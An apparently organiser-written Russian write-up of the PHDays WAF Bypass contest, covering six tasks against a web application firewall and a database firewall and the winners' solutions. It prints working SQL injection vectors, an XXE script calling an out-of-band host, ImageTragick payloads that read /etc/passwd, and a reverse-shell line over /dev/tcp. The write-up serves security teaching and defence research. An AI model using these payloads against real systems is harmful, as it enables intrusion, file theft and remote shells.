Международный форум по информационной безопасности PHDays вновь стал площадкой для конкурса WAF Bypass. Цель конкурса — обойти защитные механизмы PT Application Firewall, чтобы добыть специальные флаги через уязвимости в подготовленных веб-приложениях. Каждое из заданий подразумевало заложенные нами варианты обхода PT Application Firewall, что, в свою очередь, стало возможным за счет отключения ряда функций безопасности. В этом году мы также решили опробовать прототип межсетевого экрана систем управления базами данных (DBFW), который анализировал SQL-трафик от приложений до баз данных (БД).
Задание 1 (JJ)
350 очков
В задании предлагалось обойти алгоритм выявления SQL-инъекций. На сервере приложений был установлен PHP-модуль, который заменяет оригинальную функцию mysql_query() на собственную. В ней значения HTTP-параметров (GET, POST, Cookie) добавляются в начало SQL-запроса в виде комментария.
После того, как SQL-запрос из приложения отправляется к базе данных с помощью подменной функции он перехватывается DBFW. Тот извлекает значения HTTP-параметров из комментария и ищет их в SQL-запросе. Если подстрока, соответствующая значению параметра найдена, то она заменяется на константу. Затем производится токенизация двух запросов: до замены и после. Если количество полученных токенов не совпадает, то это свидетельствует об SQL-инъекции. Известно, что основным признаком атаки типа инъекция является изменение дерева разбора. Если количество токенов изменилось, то и дерево разбора изменилось, а значит произошла инъекция. Логику этого алгоритма мы раскрыли на докладе «Database Firewall from Scratch», где мы поделились опытом исследования механизмов безопасности DBFW. Так что те, кто посетил доклад, могли понять главный недостаток такого подхода: делать вывод об инъекции на основе только количества токенов в общем случае нельзя, так как дерево разбора можно изменить так, что количество токенов в оригинальном и анализируемом запросах будут совпадать. Например, атакующий может дополнить свой вектор комментариями таким образом, что количество токенов в запросах будет совпадать, но сами токены будут другими. Правильный способ — это построение и сравнение абстрактных синтаксических деревьев (AST) двух запросов. Таким образом, чтобы пройти задание необходимо было составить вектор, который по количеству токенов совпадал с оригинальным запросом без инъекции:
/post.php?p=-1 union select 1,2,(select flag from flags order by id,1),4 -- -
Участники же нашли недостаток в нашем ANTLR-парсере для MySQL. Дело в том, что MySQL поддерживает условные комментарии с помощью конструкции /*! … */. Все, что находится внутри такого комментария, будет выполнено MySQL, но другие базы данных такую конструкцию проигнорируют.
http://task1.waf-bypass.phdays.com/post.php?p=(select /*!50718 ST_LatFromGeoHash((SELECT table_name FROm information_schema.tables LIMIT 1)) */) and true and true and true order by id desc limit 10 --
(Арсений Шароглазов)
http://task1.waf-bypass.phdays.com/post.php?p=/*!1111111 union select 1 id,flag,1,1 from flags where 1*/
(Сергей Бобров)
Задание 2 (KM)
250 очков
Во втором задании участники имели доступ к приложению, которое позволяло добавлять заметки. При этом в параметре p передавался полный SQL-запрос в hex:
http://task2.waf-bypass.phdays.com/notes.php?q=53454c454354207469746c652c20626f64792046524f4d206e6f746573204c494d4954203235 (SELECT title, body FROM notes LIMIT 25 )
На языке ALFAScript мы задали политику атрибутного управления доступом (ABAC), разрешающую пользователям выполнение только INSERT, UPDATE и SELECT лишь для таблицы notes. Таким образом, попытки доступа к таблице flags блокировались. Но мы заложили обход, разрешив выполнение оператора CREATE. Предполагаемое нами решение заключалось в создании события, которое запишет флаг в таблицу notes:
CREATE EVENT `new_event` ON SCHEDULE EVERY 60 SECOND STARTS CURRENT_TIMESTAMP ON COMPLETION NOT PRESERVE ENABLE COMMENT '' DO insert into notes (title, body) VALUES ((select flag from flags limit 1), 2)
Кроме CREATE EVENT можно было воспользоваться CREATE TABLE и получить флаг в сообщении MySQL, принудительно вызвав ошибку (решение Арсения Шароглазова):
CREATE TABLE ggg AS SELECT ST_LongFromGeoHash (flag) FROM flags;
Сергей Бобров решил альтернативным способом, использовав конструкцию ON DUPLICATE KEY UPDATE, которая позволяет выполнить UPDATE внутри INSERT одним запросом:
INSERT INTO notes SELECT 1,2,3 FROM notes,flags as a ON DUPLICATE KEY UPDATE body = flag
Задание 3 (AG)
300 очков
Для выполнения задания участникам было необходимо обнаружить и проэксплуатировать уязвимость в одной из старых версий демонстрационного приложения Adobe BlazeDS. Особенность приложения в том, что оно использует для коммуникации с сервером протокол AMF (Action Message Format). Сам AMF представляет собой сериализованную структуру с типизацией полей. Одним из типов является XML (0x0b), неправильный парсинг которого привел к ряду уязвимостей в библиотеках для работы с AMF, в том числе и в BlazeDS.
WAF имел встроенный парсер AMF, однако для задания был отключен парсинг внешних объектов Flex: AcknowledgeMessageExt (алиас DSK), CommandMessageExt (DSC), AsyncMessageExt (DSA). В то же время, BlazeDS мог распарсить такие сообщения и найти в них XML, что в итоге приводило к уязвимости к атаке XXE.
Составить такой запрос можно с помощью библиотеки pyamf:
import pyamf
import httplib
import uuid
from pyamf.flex.messaging import RemotingMessage, AcknowledgeMessageExt
from pyamf.remoting import Envelope, Request, decode
hostname = 'task3.waf-bypass.phdays.com'
port = 80
path = '/samples/messagebroker/amf'
request = AcknowledgeMessageExt(
operation="findEmployeesByName",
destination="runtime-employee-ro",
messageId=None,
body=[
'<!DOCTYPE x [ '
'<!ENTITY foo SYSTEM "http://dta58o8o6fljzkvl52h8458lacg54u.burpcollaborator.net"> ]>'
'<x>External entity 1: &foo;</x>'],
clientId=None,
headers={'DSId': str(uuid.uuid4()).upper(),
'DSEndpoint': 'my-amf'}
)
envelope = Envelope(amfVersion=3)
envelope["/%d" % 1] = Request(u'null', [request])
message = pyamf.remoting.encode(envelope)
conn = httplib.HTTPConnection(hostname, port)
conn.request('POST', path, message.getvalue(),
headers={'Content-Type': 'application/x-amf'})
resp = conn.getresponse()
data = resp.read()
content = decode(data)
print content
BlazeDS был настроен на работу через внутренний прозрачный прокси, который дописывал заголовок с флагом ко всем исходящим запросам.
Задание 4 (KP)
200 очков
Для задания была использована версия веб-приложения Pasteboard, уязвимая к атаке Imagetragick. WAF был настроен особым образом, чтобы фильтровались только следующие ключевые слова:
url, caption:, label:, ephemeral:, msl:
Однако были доступны менее распространенные векторы. Например, враппер text (в отличие от label перед именем файла не требуется символ "@".):
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'text:/etc/passwd'
pop graphic-context
На выходе получалась картинка с содержимым файла /etc/passwd:
Арсений Шароглазов воспользовался вектором с image over:
push graphic-context
encoding "UTF-8"
viewbox 0 0 1 1
affine 1 0 0 1 0 0
push graphic-context
image Over 0,0 1,1 '|/bin/sh -i > /dev/tcp/ip/80 0<&1 2>&1'
pop graphic-context
pop graphic-context
Сергей Бобров нашел в исходниках imagemagick враппер pango:, который ранее не упоминался в известных эксплойтах.
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'pango:@/etc/passwd'
pop graphic-context
Задание 5 (GM)
250 очков
Задание представляло собой форму поиска, уязвимую к SQL-инъекции. Таблица с результатом поиска содержала поле publickey. Задача состояла в том, чтобы через SQL-инъекцию вывести значение поля privatekey. Использовалась следующая политика ABAC, заданная на ALFAScript:
namespace example {
export policy Main {
target clause action == "select"
apply denyUnlessPermit
rule r1 {
permit
target clause resource.schema.id == "information_schema"
}
rule r2 {
permit
target clause resource.schema.id == "task5"
and resource.table.id == "users"
and resource.column.id == "publickey"
}
rule r3 {
permit
target clause resource.schema.id == "task5"
and resource.table.id == "users"
and resource.column.id == "name"
}
}
}
Здесь необходимо обратить внимание на ключевое слово denyUnlessPermit. В рамках языка XACML для описания политик атрибутного управления доступом существует несколько видов алгоритмов комбинирования решений. Использование алгоритма denyUnlessPermit обозначает, что запрос будет разрешен, если и только если хотя бы одно из правил позволяет реализовать доступ пользователя к ресурсу. DBFW не знает реальную структуру СУБД, поэтому когда он видит запрос типа SELECT a,b from c,d, он, в отличии от СУБД, не знает, где находится, например, столбец a: в таблице с или d. В случае таких запросов DBFW вынужден проверять возможность доступа пользователя ко всем вариантам ресурсов. В данном примере к столбцам c.a, c.b, d.a и d.b. Поэтому если построить запрос, который будет содержать хотя бы один разрешенный столбец, то с помощью выборки из двух таблиц, мы можем извлечь privatekey:
Petrov' union select name, privatekey from information_schema.columns,users where name = 'Petrov' --
Задание 6 (ES)
300 очков
Веб-приложение для задания имело две функции: загрузку CSV-файлов со списком контактов и форму поиска по контактам, в которой содержалась SQL-инъекция. В качестве защитного механизма использовался алгоритм DBFW под названием «Dejector». Впервые данный способ выявления SQL-инъекций был описан в работе Hansen и Patterson «Guns and Butter: Towards Formal Axioms of Input Validation”. Суть его в том, что по множеству известных запросов веб-приложения (например, такое множество запросов может быть получено статическими анализаторами исходного кода) строится подграмматика языка SQL. По этой грамматике генерируется парсер. Если запрос распознается парсером, то запрос принадлежит языку, иначе запрос не принадлежит языку, а значит является поддельным.
Для задания мы подготовили грамматику, которая описывала допустимые запросы. Возможность загрузки файлов в CSV давала понять, что пользователь MySQL мог работать с файлами. Другой хинт содержался в ошибке: использовался mysqli_multi_query(), а значит работали стекированные запросы. Обычный LOAD_FILE() был запрещен грамматикой, однако был доступен LOAD DATA INFILE:
'; load data infile '/etc/passwd' into table users character set 'utf8
Результаты
Первое и второе места заняли специалисты «Лаборатории Касперского» — Сергей Бобров и Арсений Шароглазов. Третье место досталось студенту Тюменского государственного университета Андрею Семакину. Поздравляем победителей!
Арсений Реутов (@Raz0r), Дмитрий Нагибин, Игорь Каныгин (@akamajoris), Денис Колегов, Николай Ткаченко, Иван Худяшов
Автор: Raz0r